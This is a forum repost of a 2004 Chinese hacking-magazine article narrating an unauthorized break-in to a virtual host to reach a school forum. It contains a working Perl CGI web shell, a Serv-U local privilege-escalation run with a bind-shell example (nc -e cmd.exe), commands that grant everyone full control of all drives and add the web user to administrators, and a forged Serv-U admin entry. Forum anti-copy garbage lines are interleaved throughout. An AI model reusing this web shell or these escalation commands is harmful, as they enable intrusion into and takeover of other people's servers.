中国网络渗透测试联盟
标题:
剑走偏锋——灵巧的旁注攻击
[打印本页]
作者:
admin
时间:
2012-9-15 14:11
标题:
剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
! ~0 a, ~* R7 S! {0 M
本文作者:angel
0 G, W! \( `8 c* I* s# {, W
文章性质:原创
% [5 y& O. L) K$ v2 h
发布日期:2004-11-09
7 [* [( H) G6 z x6 u
注意:
1 D& h' \! ]; J! U( x: [
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
$ d$ K/ V" q- u& g, l1 b' J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
/ J( {8 L$ V2 |, E5 S7 [
, o* }' s* c) s6 v2 \& l7 A
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
J1 x1 N2 ~8 e* C& k4 j) S
! Q: O8 _* u4 y
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
2 o' d+ D& [4 h n1 s
3 C5 v' j$ j. I
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
# V! {- c' S; A9 c1 H& l& L( N
' ~+ R ~/ ]+ I9 o
一次看见了一个学校论坛(
http://www.school.com
),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
0 |, g! s F# C3 x
. w) Y- q/ P" r7 c! p0 |1 I+ F
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有
http://whois.webhosting.info
这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
3 }" \* A9 z+ n' R0 G6 `$ e; ~
U1 W7 C: i# ?. p' O
没有目的的跳转目录着……
2 r* l6 u; n" R
- I* L& u* \3 n" ^
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
( E- s) Q4 U6 P2 \ `1 A3 r5 V# z5 e
8 P! R) H" P) l7 L& m- R9 L
结束了吗?不,我试着 FTP 一下:
! i6 ]: I+ U) P2 l
8 z1 j: ]0 y1 q% Y) h+ t1 B2 v- d
Microsoft Windows 2000 [Version 5.00.2195]
9 s* l$ n9 B7 j6 d ?
(C) 版权所有 1985-2000 Microsoft Corp.
! |. E, l* U7 k/ _) A, S3 q- |9 ^5 [" p
' \$ R5 S* ~6 b) B
C:\Documents and Settings\Administrator>ftp
www.school.com
4 h) w6 Y" \! X5 J% l
Connected to www. school.com.
4 M! Q5 B6 S! L _. a. F% f
220 Welcome to FTP Server...
& V. @% P$ e! o! K
User (
www.bjtrq.com:
(none)):
4 _9 X6 H0 a7 R1 ]2 E; W# l
331 User name okay, need password.
. K/ l/ i2 H2 ~
Password:
$ f) y& G! v/ X/ C, m
530 Not logged in.
2 c& }: L3 I w2 B' y& P
Login failed.
* [0 y3 ? [% h
ftp> bye
! r" N9 e Y5 b( W. I; I% y
221 Goodbye!
j3 z( L& ?$ G5 \ C
; x% @" X& ^$ f) A2 B8 y5 P- |
* v# F* `+ {; d0 L, ?8 h4 W$ L
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
% L5 e" ?4 r/ f% U* {; e' I
: v+ ^/ ]' Q2 l5 g0 [0 I
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
* @- ]. i7 b, N7 ^6 B& S
+ ~0 P# j# a' T+ _& v' L: g: I* X
Application Data
& M9 ?+ U4 C Y& o& R
Documents
" { p0 ^) u6 |7 z$ e7 h
DRM
% v, q* S% l& o4 k1 [
Favorites
; P# |) k; \, G5 f
Templates
/ X q$ s; Q+ T( V# Z' n
「开始」菜单
# _9 A, K7 {" E% h, t+ C
桌面
e# I" t8 {. S( I1 O
# Q& u. {+ x" U& \4 g
' m$ D* k6 Q7 Y
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
# M. }, d$ {& u
+ f) ]6 H! n' `: ]$ Z5 `
ActiveState ActivePerl 5.8
: A& v' P* h2 B: F& K. z$ b1 G0 I: m
Administrative Tools
' W: Q- U! g4 T, E8 A
Deerfield.com
+ G2 V. C% n V* p0 e' U
DTemp
; k% ~4 Z( o, Q7 p1 j! w: C& e
IPSentry
, _' ^; o" Y5 t$ o" }
MBM 5
7 X Q. ~8 e" U9 {9 @" r W- U1 V; h
NetMeter
6 r# m% U* o% a% L
Network ICE
" [% s8 b0 Z4 P) z/ A( v
Persits Software AspEmail
/ a2 R) J5 T- ]6 i: t; F' _
Persits Software AspJpeg
- C3 B+ m5 R; h/ j6 l% U
Serv-U FTP Server
% w! M( i* k( V+ \$ q6 s( E M
Symantec Client Security
$ [0 [/ Y8 L( @" Q* l! \0 v+ c
Windows 优化大师
8 U9 n: \4 [' ]
WinRAR
5 M2 K3 L( A7 z- _, v5 q. a
启动
, l6 [! @, S6 g
管理工具
& b. z+ S& c G! e6 k9 {& T
附件
! ^: h5 n% E+ _4 d* h
, }* [7 @: s6 q: A
; _) R) R; y+ N
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
+ ?2 t: k& ?! s/ [$ i
9 }( R6 V, H* W/ w% y
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
9 }& c* d T1 d- Z5 Z( S
' a! p- J' B" I9 f- D* J+ K' v0 R
User281=angel|1|0
. G1 ^ m# \8 `: x3 k
; w$ v! z. n& Q9 b; I
. k% }/ Y, X2 h+ u$ O X
然后加上
- G& O- R! a: `: l
+ {: y9 }! u) V$ f
[USER=angel|1]
/ A6 `1 w- G8 F7 m+ N
Password=ng98F85379EA68DBF97BAADCA99B69B805
( |1 q k) S6 c: _
HomeDir=D:\websites
- \0 q* N1 Y7 v) V, c8 q
RelPaths=1
9 h" R: [" J7 |! \5 |8 h0 k
TimeOut=600
2 O7 G# y7 _# n" K: K! C
Maintenance=System
' I6 R& }- S( {+ Q$ _- W/ M7 d* ]
Access1=D:\websites|RWAMELCDP
( H) d8 s; Y" q B- L% H J" J
SKEYValues=
7 R6 S4 P$ p6 Y! L3 J. u2 i' J; y/ g
' \" W( }- t0 I4 {9 K4 [, ?4 W
$ e+ P7 j, _& J4 B) c% ^5 ^- X) m& t
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
3 i `# T" j1 _0 Q
8 J) O; s4 X) _8 O
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
" ~! {# W7 S- f. S+ P, e
( T. q- c+ x" g8 p& t( q- Z1 S3 A
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
8 e; e) L& D* \
& F6 | b) S2 x4 C& U2 }
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
) Q5 U J% H0 x" k1 S
$ ?( J% \5 B# c: I( c
#!/usr/bin/perl
- K1 T7 E% }; ?1 O2 l7 x5 C6 P
binmode(STDOUT);
) S$ h! ~: d+ F) C/ V
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
* n% [# x0 v% u" K7 p, `
$_ = $ENV{QUERY_STRING};
8 V; |+ ?* K$ w1 r& l
s/%20/ /ig;
! @7 A3 d1 D: L' R
s/%2f/\//ig;
# w& K' M) n+ _/ ~& i
$execthis = $_;
% J% m+ q2 h* N5 y! S$ j2 S
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
5 t% x4 R5 V, v( w
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
6 ?9 d+ U/ O. m6 _8 s0 [- x! c
system($execthis);
" _/ J4 b# @7 e2 [) Y' q
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
1 d% X: _3 C* `8 i- Q
close(STDERR);
# a6 _* E# I) |
close(STDOUT);
0 Y1 J: z. t$ R; c, s" T- V
exit;
3 R' J4 z9 l' h) L2 N* ^& { K
$ V) Q( I) }( E$ z! c, }/ s. Y
: l- Z% H% K# `. K- D% b
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
' R6 n" g9 G- r9 I, u
# [" G2 ^$ G' u- y' \# ?
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
. C& }4 ~% M$ `' P; E* n5 b
& _. T/ L+ i# d* c4 q+ a% N0 r& G: Y
http://anyhost//cmd.pl?d:\user\bin\su.exe
' z1 e/ @" H$ |% T
/ R+ r2 k2 a7 w' g1 g( [8 h
/ Q. r3 f# i: m( B/ o
返回:
2 Z8 Y; _- n2 y9 {
4 a c! e7 z0 @# v' ~
Serv-u >3.x Local Exploit by xiaolu
+ { x& O d. o0 V) `1 E: R
4 }; }. Y5 J; V" T4 ?: K
USAGE: serv-u.exe "command"
* {* K- I0 ?/ L) \+ e
& {8 E" m9 N" f7 X, x
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
% e$ Y. h- \- }0 E4 O! l
, o/ N/ j; _, L$ W% O" C/ X
% b. r; C0 N- L4 r( z- i# ^
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 [, Q' N8 V, y5 O+ N
/ o6 n' @ }: w( g
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
' P. Z0 ~9 R! i0 |, O9 D
^! t O; B+ w% ~0 }( g |
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
) t7 n. X- ~. R4 ~* l
1 u/ S2 n1 W8 ]* O: i5 N. `$ E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
9 a+ s* r' P+ Q! k
4 Z8 b# H) h6 C1 Q2 X- C3 Q5 ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
; Q8 m5 |1 p% f! @' q% ~$ h( i
% b# T* Z9 A4 ^3 y
, \1 `5 T, e( f7 U ~
返回下面的信息,就表示成功了!!!
- n; i0 C6 e0 _0 i% j5 k
0 S9 i+ ^1 s1 ]& Z- q5 }
Serv-u >3.x Local Exploit by xiaolu
$ _7 q4 y' K- l, k( \
" | |6 V! g- R' K, m5 ~* W
<220 Serv-U FTP Server v5.2 for WinSock ready...
" B& C- }: P' I, E# P/ _: G5 V A2 I% Y
9 H" m6 \# u/ R- L4 Z& J1 O4 L
>USER LocalAdministrator
o, n& _9 }0 L2 [* O6 C
* F7 K9 U2 Y- r4 R! c
<331 User name okay, need password.
% L |0 T& x) I: d8 L
8 Y* |0 e/ n ?8 i% A: x
******************************************************
+ {. h, j( W+ @/ _* b* F
8 f! j8 S; M0 C; L
>PASS #l@$ak#.lk;0@P
7 z+ J" g- _- | I
2 [# P. N% t0 l/ P5 \' P; E
<230 User logged in, proceed.
. f& N/ k3 k' O6 u+ U
; _ z. }6 W4 h2 A/ B- A
******************************************************
8 C* }! I& A; _2 \0 g! n* y
C& r$ B3 G2 Y2 |& K- h& m7 t5 i
>SITE MAINTENANCE
% G8 S0 w4 ]3 u/ _" Q
# g- k8 K* {0 p9 u4 J
******************************************************
! y) s7 C1 X! e# K( ~
$ n2 }% N: v" B) R* l; u7 S7 B
[+] Creating New Domain...
/ O& g9 P. k" m5 r6 g
3 Y7 F3 t# Z9 k7 G: e
<200-DomainID=2
' d. X. l$ g5 s% p# S5 X6 b. T. d
& Q0 x. @7 `- g& s
<220 Domain settings saved
+ B+ }/ z# F Q( z0 {% y2 s d$ w
# }3 x- d/ y7 f7 `; ]# r/ g4 c: X
******************************************************
2 Y4 \# M' T d1 e! D# `6 r6 \
C3 c; `( a! e0 T- e" d0 S
[+] Domain xl:2 Created
1 y% H9 N' v5 Z+ ]3 Z7 \! P, @
$ e- l0 |/ ^" \5 s* F3 w$ K
[+] Creating Evil User
' O# L5 y( {/ i5 y, X1 `, y4 F
, h i' b7 \# W3 L, z3 ?
<200-User=xl
9 U9 c' \; L6 e1 @# `* |' d; ]
9 N/ Y0 K. q; O3 D8 b6 w
200 User settings saved
, [: c( a/ S5 a) i: P- L+ F
9 {; C Y3 |( s
******************************************************
7 X7 G: B& e# w/ z
; t. J9 r6 B0 g( A2 C
[+] Now Exploiting...
/ E4 e: T [' g% k2 x. E
3 t3 W& j3 R0 ~: ~. C7 K; M' F/ `
>USER xl
; }9 x0 Z1 ]2 c+ d; r( i
3 D. h- N3 v; o" Q# x0 \
<331 User name okay, need password.
" T" J' S1 X2 i! N- A: `; Y
, l, l% S& f2 Q0 i! x+ @
******************************************************
1 R; {/ K9 ?2 S
. v# K t" m$ S/ p9 A5 m+ I0 S
>PASS 111111
" i6 b( {6 O. S) J
- W$ h. F" v) S) S+ @8 j
<230 User logged in, proceed.
" p. c* G7 G7 Z5 Q `+ F0 I
; ]3 X) ]# K& u7 O4 e
******************************************************
2 b( J0 I3 h8 p g% n3 w' e
/ ~* I/ f& w+ ~" P. `7 x
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
6 Z2 \ G) S! Z. R& ?+ U- n5 P E# S
- }% @+ K' _" u. ?. W3 s: H1 {
<220 Domain deleted
O$ M6 G& `2 I
" `# \: h8 q# D. [, u H
******************************************************
" l1 Z! H# b7 x2 X! F
- G+ x) i( J; }$ O: ^8 [. ~
2 r" o( l4 e U, U+ w. X
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
; ~& o1 U! E; u! }* T
9 P- m+ S) V9 E
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
/ I5 p- k& M6 [/ E; c Y
7 p7 J- A' R2 i
) A7 g1 I# u# D. p1 [4 `
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
3 E, k" ~+ n+ x- n! N
/ ~$ z6 C4 Y) R8 t
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
) v3 W$ H/ A `
4 x [+ m h( n3 }! X- c7 D
2 Q d0 N) O& e6 s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2